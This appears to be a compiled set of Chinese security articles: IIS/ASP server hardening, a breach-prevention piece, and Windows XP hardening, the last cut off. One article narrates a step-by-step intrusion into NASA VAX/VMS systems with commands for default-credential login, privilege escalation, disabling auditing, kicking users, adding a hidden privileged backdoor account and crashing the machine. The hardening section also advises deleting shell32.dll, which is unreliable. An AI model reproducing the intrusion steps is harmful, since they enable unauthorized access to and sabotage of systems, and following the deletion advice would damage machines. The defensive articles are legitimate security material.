其实,只要做好了上面的权限设置,那么FSO、XML、strem都不再是不安全组件了,因为他们都没有跨出自己的文件夹或者站点的权限。那个欢乐时光更不用怕,有杀毒软件在还怕什么时光啊。
最危险的组件是WSH和Shell,因为它可以运行你硬盘里的EXE等程序,比如它可以运行提升程序来提升SERV-U权限甚至用SERVU来运行更高权限的系统程序。
谨慎决定是否卸载一个组件
组件是为了应用而出现的,而不是为了不安全而出现的,所有的组件都有它的用处,所以在卸载一个组件之前,你必须确认这个组件是你的网站程序不需要的,或者即使去掉也不关大体的。否则,你只能留着这个组件并在你的ASP程序本身上下工夫,防止别人进来,而不是防止别人进来后SHELL。
比如,FSO和XML是非常常用的组件之一,很多程序会用到他们。WSH组件会被一部分主机管理程序用到,也有的打包程序也会用到。
5、卸载最不安全的组件
最简单的办法是直接卸载后删除相应的程序文件。将下面的代码保存为一个.BAT文件,( 以下均以 WIN2000 为例,如果使用2003,则系统文件夹应该是 C:\WINDOWS\ )
regsvr32/u C:\WINNT\System32\wshom.ocx
del C:\WINNT\System32\wshom.ocx
regsvr32/u C:\WINNT\system32\shell32.dll
del C:\WINNT\system32\shell32.dll
然后运行一下,WScript.Shell, Shell.application, WScript.Network就会被卸载了。可能会提示无法删除文件,不用管它,重启一下服务器,你会发现这三个都提示“×安全”了。
改名不安全组件
需要注意的是组件的名称和Clsid都要改,并且要改彻底了。下面以Shell.application为例来介绍方法。
打开注册表编辑器【开始→运行→regedit回车】,然后【编辑→查找→填写Shell.application→查找下一个】,用这个方法能找到两个注册表项:“{13709620-C279-11CE-A49E-444553540000}”和“Shell.application”。为了确保万无一失,把这两个注册表项导出来,保存为 .reg 文件。
比如我们想做这样的更改
13709620-C279-11CE-A49E-444553540000 改名为 13709620-C279-11CE-A49E-444553540001
Shell.application 改名为 Shell.application_ajiang
那么,就把刚才导出的.reg文件里的内容按上面的对应关系替换掉,然后把修改好的.reg文件导入到注册表中(双击即可),导入了改名后的注册表项之后,别忘记了删除原有的那两个项目。这里需要注意一点,Clsid中只能是十个数字和ABCDEF六个字母。
下面是我修改后的代码(两个文件我合到一起了):
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540001}]
@=”Shell Automation Service”
[HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540001}\InProcServer32]
@=”C:\\WINNT\\system32\\shell32.dll”
“ThreadingModel”=”Apartment”
[HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540001}\ProgID]
@=”Shell.Application_ajiang.1″
[HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540001}\TypeLib]
@=”{50a7e9b0-70ef-11d1-b75a-00a0c90564fe}”
[HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540001}\Version]
@=”1.1″
[HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540001}\VersionIndependentProgID]
@=”Shell.Application_ajiang”
[HKEY_CLASSES_ROOT\Shell.Application_ajiang]
@=”Shell Automation Service”
[HKEY_CLASSES_ROOT\Shell.Application_ajiang\CLSID]
@=”{13709620-C279-11CE-A49E-444553540001}”
[HKEY_CLASSES_ROOT\Shell.Application_ajiang\CurVer]
@=”Shell.Application_ajiang.1″
你可以把这个保存为一个.reg文件运行试一下,但是可别就此了事,因为万一黑客也看了我的这篇文章,他会试验我改出来的这个名字的。
6、防止列出用户组和系统进程
在阿江ASP探针1.9中结合7i24的方法利用getobject(“WINNT”)获得了系统用户和系统进程的列表,这个列表可能会被黑客利用,我们应当隐藏起来,方法是:
【开始→程序→管理工具→服务】,找到Workstation,停止它,禁用它。
防止Serv-U权限提升
其实,注销了Shell组件之后,侵入者运行提升工具的可能性就很小了,但是prel等别的脚本语言也有shell能力,为防万一,还是设置一下为好。
用Ultraedit打开ServUDaemon.exe查找Ascii:LocalAdministrator,和#l@$ak#.lk;0@P,修改成等长度的其它字符就可以了,ServUAdmin.exe也一样处理。
另外注意设置Serv-U所在的文件夹的权限,不要让IIS匿名用户有读取的权限,否则人家下走你修改过的文件,照样可以分析出你的管理员名和密码。
利用ASP漏洞攻击的常见方法及防范
一般情况下,黑客总是瞄准论坛等程序,因为这些程序都有上传功能,他们很容易的就可以上传ASP木马,即使设置了权限,木马也可以控制当前站点的所有文件了。另外,有了木马就然后用木马上传提升工具来获得更高的权限,我们关闭shell组件的目的很大程度上就是为了防止攻击者运行提升工具。
如果论坛管理员关闭了上传功能,则黑客会想办法获得超管密码,比如,如果你用动网论坛并且数据库忘记了改名,人家就可以直接下载你的数据库了,然后距离找到论坛管理员密码就不远了。
作为管理员,我们首先要检查我们的ASP程序,做好必要的设置,防止网站被黑客进入。另外就是防止攻击者使用一个被黑的网站来控制整个服务器,因为如果你的服务器上还为朋友开了站点,你可能无法确定你的朋友会把他上传的论坛做好安全设置。这就用到了前面所说的那一大堆东西,做了那些权限设置和防提升之后,黑客就算是进入了一个站点,也无法破坏这个网站以外的东西。
QUOTE:
c:\
administrators 全部
system 全部
iis_wpg 只有该文件夹
列出文件夹/读数据
读属性
读扩展属性
读取权限
c:\inetpub\mailroot
administrators 全部
system 全部
service 全部
c:\inetpub\ftproot
everyone 只读和运行
c:\windows
administrators 全部
Creator owner
不是继承的
只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
IIS_WPG 读取和运行,列出文件夹目录,读取
Users 读取和运行(此权限最后调整完成后可以取消)
C:\WINDOWS\Microsoft.Net
administrators 全部
Creator owner
不是继承的
只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
Users 读取和运行,列出文件夹目录,读取
C:\WINDOWS\Microsoft.Net
administrators 全部
Creator owner
不是继承的
只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
Users 读取和运行,列出文件夹目录,读取
C:\WINDOWS\Microsoft.Net\temporary ASP.NET Files
administrators 全部
Creator owner
不是继承的
只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
Users 全部
c:\Program Files
Everyone 只有该文件夹
不是继承的
列出文件夹/读数据
administrators 全部
iis_wpg 只有该文件夹
列出文件/读数据
读属性
读扩展属性
读取权限
c:\windows\temp
Administrator 全部权限
System 全部权限
users 全部权限
c:\Program Files\Common Files
administrators 全部
Creator owner
不是继承的
只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
TERMINAL SERVER Users(如果有这个用户)
修改,读取和运行,列出文件夹目录,读取,写入
Users 读取和运行,列出文件夹目录,读取
如果安装了我们的软件:
c:\Program Files\LIWEIWENSOFT
Everyone 读取和运行,列出文件夹目录,读取
administrators 全部
system 全部
IIS_WPG 读取和运行,列出文件夹目录,读取
c:\Program Files\Dimac(如果有这个目录)
Everyone 读取和运行,列出文件夹目录,读取
administrators 全部
c:\Program Files\ComPlus Applications (如果有)
administrators 全部
c:\Program Files\GflSDK (如果有)
administrators 全部
Creator owner
不是继承的
只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
TERMINAL SERVER Users
修改,读取和运行,列出文件夹目录,读取,写入
Users 读取和运行,列出文件夹目录,读取
Everyone 读取和运行,列出文件夹目录,读取
c:\Program Files\InstallShield Installation Information (如果有)
c:\Program Files\Internet Explorer (如果有)
c:\Program Files\NetMeeting (如果有)
administrators 全部
c:\Program Files\WindowsUpdate
Creator owner
不是继承的
只有子文件夹及文件
完全
administrators 全部
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
c:\Program Files\Microsoft SQL(如果SQL安装在这个目录)
administrators 全部
Service 全部
system 全部
c:\Main (如果主控端网站放在这个目录)
administrators 全部
system 全部
IUSR_*,默认的Internet来宾帐户(或专用的运行用户)
读取和运行
d:\ (如果用户网站内容放置在这个分区中)
administrators 全部权限
d:\FreeHost (如果此目录用来放置用户网站内容)
administrators 全部权限
SERVICE 读取与运行
system 读取与运行(全部权限,如果安装了一流信息监控)
F:\ (如果此分区用来放置SQL2000用户数据库)
administrators 全部权限
System 全部权限
SQL2000的运行用
只有该文件夹
列出文件夹/读数据
读属性
读扩展属性
读取权限
F:\SQLDATA (如果此目录用来放置SQL2000用户数据库)
administrators 全部权限
System 全部权限
SQL2000的运行用户全部权限
从安全角度,我们建议WebEasyMail(WinWebMail)安装在独立的盘中,例如E:
E:\(如果webeasymail安装在这个盘中)
administrators 全部权限
system 全部权限
IUSR_*,默认的Internet来宾帐户(或专用的运行用户)
只有该文件夹
列出文件夹/读数据
读属性
读扩展属性
读取权限
E:\WebEasyMail (如果webeasymail安装在这个目录中)
administrators 全部
system 全部权限
SERVICE 全部
IUSR_*,默认的Internet来宾帐户 (或专用的运行用户)
全部权限
C:\php\uploadtemp
C:\php\sessiondata
everyone
全部
C:\php\
administrators 全部
system 全部权限
SERVICE 全部
Users 只读和运行
c:\windows\php.ini
administrators 全部
system 全部权限
SERVICE 全部
Users 只读和运行

黑客五大步入侵美国太空总署

转自:IT专家网
警告:本章涉及某些军事机密,所以在某些地方作了模糊处理。本文危险度极高,请勿模仿。刊登本文的目的是为了让大家对VAX计算机和VMS操作系统有所了解。
在一些黑客入侵活动中,很多黑客根本就不屑于入侵那些的小得可怜的漏洞网站,因为这对那些喜欢刺激的黑客来说,根本就不算什么。用他们的话来说,入侵那些网站只是他们在大脑疲劳时作的一种休闲游戏而已。而对于这些危险级的黑客来说,他们真正感兴趣的是那些平时难得一见放在重要机构和实验室里的计算机,只有那些东西能够真正的刺激起他们的大脑神经系统的活跃,也是真正能够让他们提起胃口的东西。
在这些众多的提味剂中被美国太空总署、美国中央情报局等重要机构青睐的VAX计算机和它的VMS操作系统成为了超级黑客们的最爱,这些东西都能够刺激他们不断的研究试图入侵这些重要机构的每一次微小的机会。
什么是VAX计算机?VMS操作系统是什么?
欲读懂后面的黑客手记,请先了解下面所讲的基础知识。
那么什么是VAX计算机?VMS操作系统又是什么?以下我们就简单地介绍一下这些摆放在实验室里的大型机核心系统。
在1978年,DEC公司建立了第一个基于VAX( virtual address extension)即虚拟地址扩展的计算机体系,它是DEC计算机系统特有的复杂指令计算(CISC)体系结构的计算机VAX11、780。这台大家伙在当时是基本32位的计算机,并且能够有高达1MIPS的运算性能。在那个年代,这台计算机的速度和性能都是无与伦比的。在当时要值$200,000。但显然他是最棒的。
更加值得一提的是VAX是多用户系统,它所采用的网络应用包括:
通信终端协议(CTERM):DNA为VMS系统提供的虚拟终端服务使用该协议,可以用于任何连接,是LAT的可选协议。
分布式命名服务(DNS):DNS为VMS系统的通用命名服务,允许对用户、文件和节点等进行命名,使其成为整个网络共知的标识。
数据存取协议(DAP):DAP是为VMS系统提供远程文件存取的老的协议集。DAP将被DFS所代替。
分布式文件系统(DFS):和网络文件系统相似,目录可以标识为共享,并且能够装到远程节点上。
分布式队列服务(DQS):主要用来进行打印处理,该服务使VMS能够在网上作业队列。“作业控制”将作业从队列中移出,并将其传至协同程序,由它来处理作业。
VAX计算机专用的终端只能用于VAX系统上,并且可能用于Internet服务,它的唯一性和不兼容性保持着它的安全基础。但是对一个非常了解VAX系统的黑客来说这些并不算是什么,他们一样可以利用PC机上的软件来同VAX系统取得连接,并会想方设法摧毁他们,但是每一个黑客的必须要有一个 VT100的终端仿真程序,当然这并不难搞到。
那么什么是VMS哪?VMS(Virtual Memory System)即虚拟内存系统,是比较特别的一种计算机网络操作系统,但是VMS和其他的系统还是有那么一些相似之处的,比如它的登录介面就比较象UNIX系统的。你首先看到的是一个登录信息Username:;接下来便是用户密码: password:如果你能够正确的输入信息的话,那么你就会进到一个以$为提示符的字符操作环境下。当你登录成功后,还会有一系列的提示信息,包括你的username,你的process ID,等等。如下表:(此表欠奉:)
对于一个熟悉操作系统的黑客来说,他会很快地感觉到VMS这个系统和其他的系统如UNIX等操作系统基本一样,一个优秀的黑客在短期内都会将它使用得很得心应手,对于他们来说这些系统的唯一区别只是命令提示不太一样而已。举个例子,如果UNIX系统中的C shell要调用设备的话,就要在命令行输入SHELL设备的调用命令。而VMS中假设调用的这个设备就是history(Dos有相应的模块,叫做Dos提示符),VMS系统中,如果你一直按住Ctrl键,并且输入字符B,那么就会停止其他形式的命令进程,列出所有目前的进程,返回进程,并且报告目前的用户统计,以便进行修改。想要入侵VMS这些都是必备的基础知识。
当然在Internet上还存在许多的VAM系统的服务器,而且至今来说这个古老的VMS系统还是很有活力的,当然他仍然在不但地进行血液的更新,VMS最新的操作系统叫做Open/VMS网络操作系统。OpenVMS主要可以运行在VAX和Alpha系统的主机上,Alpha是一个非常快的工作站系统,而且它可以运行Windows NT,OpenVMS,Digital UNIX等多种系统。这是黑客们梦寐以求的东西,在早些时候许多的黑客为了追求到Alpha工作站,宁肯放弃高薪而去一些麻木而没有活力的科研机构。
目前公共在线的VAX主机大都已经时间比较长了,比如美国多所大学的图书馆的系统,那些都已经非常非常old的VAX系统了。但是在那里我们可以了解到一些VAX/VMS和详细的情况,这些对于一个对VAX一无所知的人来说是一个很好的机会。
VMS系统的安全情况
想要入侵这些重要的机构,黑客们必须了解VMS网络系统的安全性。在VMS系统中安全是经过精心考虑的,因为这些大家伙都是使用在一些重要的研究和军事机构里的,安全问题成为了VMS的重要性能。比如,VMS基本上都有一个强有力的有读写控制,(当然这些都还要看系统管理员的设置情况而定)。在 VMS系统中的读写控制和Novel Netware 平台下的类似,下面就是它所提供的简单的控制命令:
Time(时间):你可以控制哪一天,哪个用户,可以在哪个小时来访问这个系统,默认为一个星期7天,一天24小时,就象是防火墙一样,你可以精确的控制每一个用户。
Resources(资源):你可以控制每一个登录用户的访问权限,可以对每一个目录设置权限。
当然这些都只是VMS系统对于访问控制的一个简单的举例而己。实际上,在VMS系统中还有多重的特权限制,并且可以用于工作组。换句话说,在 VMS系统中,读写控制是一个非常繁杂的设置,有好多好多的选项。正是由于这个原因,因此很少有黑客能够突破这个系统。有时,这种繁杂的设置反而会成为它自身带给网管们的一项非常繁重的工件。这个星球上的聪明的黑客已经意识到了这一点了:
VMS系统的最大的优点就是它的巨大的灵活性。系统管理员可以选择实现或是忽略这种复杂的设置,那么就会给黑客留下机会了。
攻击一个VAX(或是以VMS作为操作系统)的网络操作系统来说,同攻击UNIX系统有很大的不同,首先VMS这个系统的password文件的存放和它的结构和UNIX有很大的不同,UNIX系统下是放在/etc/passwd 这个文件中,这个文件包括定义的用户名,password,登录信息,以及它所在的工作组。与此对比,VMS系统的这个文件不但包括以上这些简单的信息,还有好多的其他的信息:
在每一个运行VMS的DEC主机都会将所有用户的档案资料放在一个文件当中,叫做SYSUAF(System User Authorization File)对于每一个使用此系统的用户包括系统管理员,都有一个record来记录下用户的登录时间和访问权限,而且它还给出了password的详细的时间,password的长度,以及用户登录时所有的详细信息。这真让黑客头疼。
但是就是这种难以理解的password文件结构也有它自身的漏洞,那就是如果一个黑客成功的获得了对这个文件操作的权力,并且修改了它,那么整个系统都将面临危险,然而发生这种情况的可能性微乎其微。
一般情况下用户通过一种叫做UIC(User Identification Code)(用户识别码)的程序才能登录系统。这和UNIX系统中的GID是非常相近的。它识别出登录用户,还有该用户的访问权限,以及工作组,因此,你可以想象这种UIC系统是一个统一的数据库。 攻击美国太空总署Vax-11/780,我想看看美国到底登上月球了吗,有没有外星人跟他们接触,天哪,这一切都是那么的神气,对我就像是一块磁铁,将我所有的激情和目光都拉上了这个地方。http://www.nasa.gov就是他的老巢,但是我对这个并不感兴趣,因为他一样采用的都是普通的WEB服务器。我的目标是突破它的内部网络,也就是NASA的科研核心网络。
入侵美国太空总署第一步:登录
有两种方法可以登录VMS系统。第一种是正常登录,另外一种就是利用试探密码以及欺骗。我们是黑客,优秀的黑客!我们当然选择欺骗(Cheating)登陆,如果你想要成功的混进VAX系统,你可以利用两种方法:
1、用利用系统中现有的其他人的用户名和密码。
2、利用默认的密码进行欺骗进入。
(1)利用其他人的密码:
这种方法既有好的一面,也有不好的一面,好的一方面是你不必新建一个帐号,或是用一个受限制的帐号,那么在这种情况下系统管理员什么都不会觉察到,坏的一方面就是你所利用的帐号的主人可能会注意到。你想想,如果他并没有登录,但是又显示它在线,他会有什么感觉,而且会留下登陆的种种记录,并且他这个帐号还可能没有我们所需要获得的权限。获得其他人的密码比较简单,只要你进入系统,即使只是很小的权限,那么你只要向系统管理员的机器发送一个程序,有点类似于现在的木马或者是欺骗工具。它包含如同登录时需要的屏幕一样,那么,你就可能获得他的密码,还有用户帐号,再把这个文件从远程的打印机打印出来或是输出到一个文件上,当然你一定记得要把这个文件删除掉。
(2)利用系统的默认的密码:
在VAX系统建立时,有4个默认的用户帐号还有密码,它有可能被自修改或是删除,但是系统管理员通常有可能会遗留下一两个以备将来系统遇到麻烦的时候进行恢复工作,这4个帐号和密码分别是:
Name Password SYSTEM MANAGER or OPERATOR FIELD SERVICE or TEST DEFAULT USER or DEFAULT SYSTEST UETP or SYSTEST
我的经验告诉我,一般来说FIELD SERVICE这个帐号都会起作用。一旦我们登录了该系统,如果你想要获得最高的权限,你就应该输入:
$SET PROC/PRIV=ALL
‘$’是系统提示,如果你要是本身获得的权限不够,就会系统提示你不能够执行该命令,那么你就要换一个password,才能得到你想要的特权。是不是很令我们头疼?不过一般的情况下方法还是奏效的。
入侵美国太空总署第二步:浏览该系统
成功的利用完第一步,我们已经可以顺利的在VMS系统上登陆了,下一步要做什么呢?当然是要获取更多的信息,但是首先,我们一定要确认是否能够返回,那么我们就先要这样做:
$SET ACCOUNTING/DISABLE
这将会禁止VMS系统中那个讨厌的跟踪程序对我们的跟踪,再输入:
$SHOW USERS
看一看谁在系统上,如果你看到我们自己的帐号是两个的话,赶快退出来。我们不想因为做傻事而被捉吧,但是我们一旦确认无人能够监视我们的行动,那么我们接下来就输入:
$SET LOGINS/INTERACTIVE=0
这将禁止其他人登录到这台机器上,下一步就要把其他的人踢出去。
$SHOW USERS
系统可能返回如下的信息:
VAX/VMS INTERACTIVE USERS 23-JUL-2000 09:37:15.54 Total number of interactive users= 6 Username Process Name PID Terminal BRUNO BRUNO 0000026B TTD3: FIELD FIELD 00000FF2 TTC2: JOHNSON _TTD5: 0000026D TTD5: LINCOLN LINCOLN 0000026A TTD2: CYBERPUNK CYBERPUNK 000001D8 TTD4: HARDCORE HARDCORE 00000263 TTC0:
现在,如果你以FIELD用户名登录的话,我们要通过验证的话,输入:
$STOP/ID=PID
这样的话,就可以显示除我们之外的用户的情况,并且把的用户踢出去,最好在晚上用户少时这样做,因为如果用户管理员收到好多的控诉信息的话,他就可能会发现并捉住你。接下来,我们要确认,我们能够再次登录到这个系统上,为了能达到这一点:
$SET DEF SYS$SROOT:[SYSEXE]
这样的话,你将进入到SYS$SROOT的SYSEXE目录下一行:
$RUN AUTHORIZE
系统返回如下信息:
UAF> – now type: UAF> ADD WASTOID /PASSWORD= ZEDNET /UIC=[099,900] /CPUTIME=0- /DEVICE=SYS$SYSROOT /DIRECTORY= [SYSEXE] /PRIVS=ALL /NOACCOUNTING UAF> EXIT
这是什么意思呢,让我们往下做:
ADD WASTOID-加入一个记录名字叫WASTOID
/PASSWORD=ZEDNET-为新帐号加密码
/CPUTIME=0-将你的帐号的访问时间变为不限时,
/UIC=[099,900]
/DEVICE=SYS$SYSROOT-设置你的工作驱动器
/DIRECTORY=[SYSEXE]-设置你的工作目录
/PRIVS=ALL-获得最高的操作权限
/NOACCOUNTING-禁止系统跟踪
好了,你现在就有了所有的特权,并且有了合法的帐号,返回系统。
入侵美国太空总署第三步:系统的基础
如果你从没有用过VAX系统的话,可以看一下这些提示:
HELP-将会列出所有的命令,并且能够给你详细的解释
SET DEF drive:[directory.sub1,sub2]-设置默认的工作驱动器还有工作目录
TYPE或是T-和DOS下的TYPE一样,是显示文件内容的:如T file.txt
PRINT或是PR-打印文件,如:PR file.txt
DIR或是D-显示工作目录
DIR/PRINT 或D/PRINT在屏幕和打印机上同时显示。
RUN或是R-执行.exe的可执行文件,如:r filename.exe
好了,准备的比较充分了
入侵美国太空总署第四步:开工了
1、修改文件:
这个世界上最美好的事情就是剥夺他本人的文件的控制权了,当你看到他对自己的文件束手无策时,我们可能会高兴手舞足蹈。让我们偷着乐吧。你可以用:set protection 这个命令,如果你想一个文件只能由你自己访问,而其他的任何人都无权访问时,你可以运行
$set prot=(s:rwed,o,g,w) test.dat
你就有了完全的特权,其他的人包括文件的拥有者,工作组,以及管理员都没有权限。
2、磁盘:
你可以对整个磁盘都一次加以控制,比如你要控制驱动器:dirver1
$dismount driver1 $deallocate driver1 $set prot(s,o;r,g,w)/device/owner_vic[099,900] driver1 $allocate driver1 $mount driver1
这样你就有了一个个人控制的驱动器了。
3、打印机:
我们知道如果要打印一个文件只要输入:
$pr hacking.dat
如果运行
$stop/abort lpao
那么,系统就会停止打印机目前的工作并将它踢出队列。
$delete/queve lpao
这会将队列中所有的项目全部清除,那么打印机就是你一个人的了。如此等等,我们只介绍几种,其他的就看你自己的了。
入侵美国太空总署第五步,安全撤退
1、opccrash
如果要关闭系统的话:
$run sys$system:opccrash
系统会提示:
system shutdown complete –use console to halt system(请使用控制台来关闭系统)
输入:
^P >>>-type: >>>HALT HALTED AT 8000708A
2、破坏性退出
^P >>>HALT >>>@CRASH
这样一整套入侵美国太空总署的行动,就让我们躲在一边偷偷看那些老外们忙活去吧,当然我们也不能忘记“正事”,这就是进入它的数据库,看看那些他们的小秘密。

防止被安全突破的五个教训
我们从这些案例和其它现实世界的入侵中归纳了五个教训:认真对待Web应用程序安全;增加安全控制层次;理解安全技术的局限性;评估第三方系统;要知道糟糕的事件反应比没有事件反应更糟糕。
1.认真对待Web应用程序安全
Web应用程序经常是入侵者的起点。我们继续看到IT团队不断地给系统使用补丁和部署防火墙,但是,机构却没有防备有漏洞的应用程序。这些安全漏洞是很容易利用的。
一个机构的最佳防御是把安全集成到应用程序开发的声明周期中。与对正在使用的应用程序打补丁相比,制作安全缺陷较少的代码会提供更大的回报。在质量保证或者评估过程中使用IBM的AppScanner或者惠普的WebInspect等Web应用程序扫描技术是非常重要的。购买而不是制作Web应用程序的企业应该评估这些应用程序或者要求厂商执行由第三方验证的安全评估。
Web应用程序防火墙是一个备用的安全控制。这些产品旨在发现已知的攻击和找出可能支持入侵意图的可疑行为。然而,它们只是辅助性的。它们不能解决有瑕疵的开发做法和有漏洞的应用程序的根本症候。一个Web应用程序防火墙也许会让你花一些时间。但是,企业不修复这个风险的根本原因是愚蠢的。
2. 增加辅助的控制
内部防火墙、加密或者数据库监视软件等辅助控制措施能够提前向安全人员报警或者在入侵者绕过主要控制措施之后阻止其攻击。遗憾的是,我们很少看到有效地实施辅助控制。
例如,我们看到企业在网络内部增加额外的一层防火墙以便更好地隔离重要的系统。我们强烈推荐采用这种做法。然而,人们常见的是缺少政策设置的内部防火墙,简单地允许所有的通讯经过,或者是采用没有人理解的笨拙的政策的防火墙,因为缺少说明书。在我们处理的一些案例中,如果他们恰当地设置防火墙,有些攻击是可以阻止的。
聪明的机构将发现他们能够在什么地方使用分段以便更好地隔离敏感的或者重要的系统和数据,并且根据那个分段创建第二和第三控制系统。这个问题是 “如果系统被攻破,对于我们损害最严重的东西是什么?”因此,厂商会在存储产品设计或者控制组装线的系统周围增加安全层次。一个工具也许会分段网格控制系统。一个支付处理机构或者商家应该把重点放在处理支付的系统上。
但是,不要停留在加入这些备用的控制措施,然后就不管了。要当心只顾减少经营开支从而完全导致减少风险的控制价值失效的笨蛋政策。配置、记载和监视这些控制措施。投入一些资源定期检查控制系统的记录,小心修改和异常活动。做得正确,这些额外的控制措施就能挽救你。做得不对,它们就会提供虚假的安全感,使这个环境更复杂。
3. 了解你的局限性
第三个教训是理解你的安全系统的局限性。我们有杀毒软件、防火墙、网络和主机入侵检测系统、身份识别、PKI、VPN、NAC、安全漏洞扫描器、数据丢失预防工具、安全信息、事件管理平台。尽管如此,安全突破仍在继续发生。
这是因为控制措施的发展没有攻击者的能力进步的那样快。我们研究了一些案例。在其中的一些案例中,一些完全使用了更新的杀毒软件特征的系统没有检测出活跃的木马程序、键盘记录器和嗅探器。大多数病毒特征的开发周期仍然是采用过时的假设制作的。这个假设是恶意软件成功地广泛传播,让厂商了解这个恶意软件,然后制作一个这个恶意软件的特征。此外,攻击者利用包装把自己隐藏起来以躲避病毒扫描器。
安全漏洞扫描器也跟不上已经发布的安全漏洞,不能及时有效地实施应用程序扫描。入侵检测和防御系统也像杀毒产品一样有同样的缺陷。
IT团队能做什么?对于最开始应用安全技术的人们来说,要适度信任技术,不要过多地信任技术。不要指望你的杀毒软件能够找到客户的恶意软件。安全漏洞扫描器只能作为辅助的测试手段以保证你的补丁管理系统在发挥作用。假设你的防火墙能够封锁自动的扫描,可是一个熟练的攻击者会穿过周边设备。
入侵检测和防御系统有时候是有用的。但是,我们经常发现路由器网络流量数据和防火墙“允许”记录能够提供黑客去了哪里的更好的信息,帮助测量突破影响的范围。
从运营的观点看,可以考虑部署一种事件管理技术以得到多个系统活动的状况,或者至少实施集中的记录管理以帮助搜索、评估和存储记录。
还要考虑你的对手的技能和动机,以及有必要采取什么控制措施检测他们的存在。理解他们的能力正在变得越来越重要。
4. 信任,但是要验证
第四个教训是简单的,但是经常容易被忘记:评估第三方的系统。正如我们的售货机的例子显示的那样,尽职的安全调查应该由内部团队或者一个第三方的应用程序安全公司执行。不要忽略容易摘到的果子,如默认的口令。
5. 做好应对事件的计划
最后,要知道糟糕的事件反应比根本没有事件反应更糟糕。我们经常与IT团队销毁了证据的企业打交道。他们销毁证据也许是故意的,也许是因为其它原因,如重建系统、删除硬盘数据、进行数据库分段或者允许第三方提供商访问被攻破的系统。发现这些问题变得很严重,他们可能会销毁或者破坏能够在犯罪起诉中使用的证据。
要拥有一个基本的程序–甚至就像“在你检查事件反应程序之前什么也不要做”这样最基本的程序。有许多免费的材料,范围包括从NIST 800-61指南到Visa的“如果被攻破”指南。使用网络搜索很容易找到这两个文件。
安全突破对于有关的企业和IT专业人员是很痛苦的。但是,沉默并不总是最佳的反应。揭露常见的错误可帮助企业理解他们面临什么问题。

如何防止自己成为别人的“肉鸡”?

肉鸡是指被黑客控制的网络设备的统称。常见的有个人电脑、服务器,也有你想不到的,如街头信息亭、街头摄像头等等只要跟网络有关的东西都可以。看过《虎胆龙威4》的话,您可能会对黑客有一个新的理解,网络安全问题现在已经成为了网络的头等大事,那我们自己的电脑的安全怎么保障呢?
一、防止主机成为肉鸡的安全技术措施
1、利用操作系统自身功能加固系统
通常按默认方式安装的操作系统,如果不做任何安全加固,那么其安全性难以保证。攻击者稍加利用便可使其成为肉鸡。因此,防止主机成为肉鸡的第一步,便是系统加固。
鉴于目前大部分用户仍然使用Windows XP,因此,本文所有内容都基于Windows XP。
(1)加强系统登录帐户和密码的安全
系统设置的密码应当符合复杂性和最小长度的要求,不仅要包括常用英文字母、数字、字母大小写,最好还可以加入特殊字符(如@等),而且密码的字符数不应该小于8位。
另外,为了防止黑客通过默认帐户登录系统,我们建议为管理员帐号设置密码并禁用guest账户。
(2)取消远程协助和远程桌面连接
用鼠标右击桌面上的“我的电脑”图标,选择“属性”,在“系统属性”中选择“远程”选项卡,然后取消“远程协助”和“远程桌面连接”复选框中的钩。
(3)禁用危险的系统服务
在Windows XP系统中,一些端口与相应的系统服务是相关联的,有的服务还与系统中的特定端口相关联,例如Terminal Services服务与3389端口关联。因此,禁用一些不需要的服务,不仅能降低系统资源消耗,而且能增强系统安全性。
在“开始”——“运行”框中输入“services.msc”,按回车后进入“服务”管理界面。禁用以下服务:
NetMeeting Remote Desktop Sharing
Remote Desktop Help Session Manager
Remote Registry
Routing and Remote Access
Server
TCP/IP NetBIOS Helper
Telnet
Terminal Services
(4)关闭137、138、139和445端口
用鼠标右击桌面中的“网上邻居”,选择“属性”。在“本地连接”界面,打开“Internet协议(TCP/IP)”的属性对话框。在此对话框 中,单击“高级”按钮,选择“WINS”选项,然后选择“禁用TCP/IP上的NetBIOS”,这样就关闭了137、138和139端口。同时,通过取 消“本地连接”属性中的“Microsoft 打印机和文件共享”可以关闭445端口。
(5)启动系统审核策略
“开始”——“运行”框中输入“gpedit.msc”进入组策略编辑器,在计算机配置——Windows设置——安全设置——本地策略——审核策略中,将审核登录事件、审核对象访问、审核系统事件和审核帐户登录事件启用成功方式的审核。
(6)用户权利指派
同样在组策略编辑器,在计算机配置——Windows设置——安全设置——本地策略——用户权利指派中,将“从网络访问此计算机”策略中的所用 用户都删除,在“拒绝从网络访问此计算机”策略中确保已有“everyone”帐户,然后再删除“通过终端服务允许登录”策略中的所有用户,并确保在“通 过终端服务拒绝登录”策略中有“everyone”帐户。
(7)禁用系统默认共享
在组策略编辑器中,计算机配置——Windows设置——安全设置——安全选项,将“网络访问:不允许SAM帐户的匿名枚举”及“网络访问:不 允许SAM帐户和共享的匿名枚举”全部启用;将“网络访问:可匿名访问的共享”、“可匿名访问的管道”及“可远程访问的注册表路径”中的内容全部删除。
打开注册表编辑器,进入 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters 项,在其右边新建一个键值名为“Autoshareserver”,键值为0的DWORD值,这样就可以禁止系统C$、D$、E$等方式的共享;为了能禁 止admin$共享,还应当在此注册表项中新建一个键值名为“Autosharewks”,键值为0的DWORD值。
最后,打开“资源管理器”,选择“工具”菜单中的“文件夹选项”,在出现的文件夹选项界面中的“高级设置”框中,取消“使用简单文件共享”的多项选择项。
2、使用安全软件加固操作系统
对加固操作系统安全性而言,我们还可以通过安装相应的安全软件来进一步增强系统的安全性能。
(1)安装杀毒软件
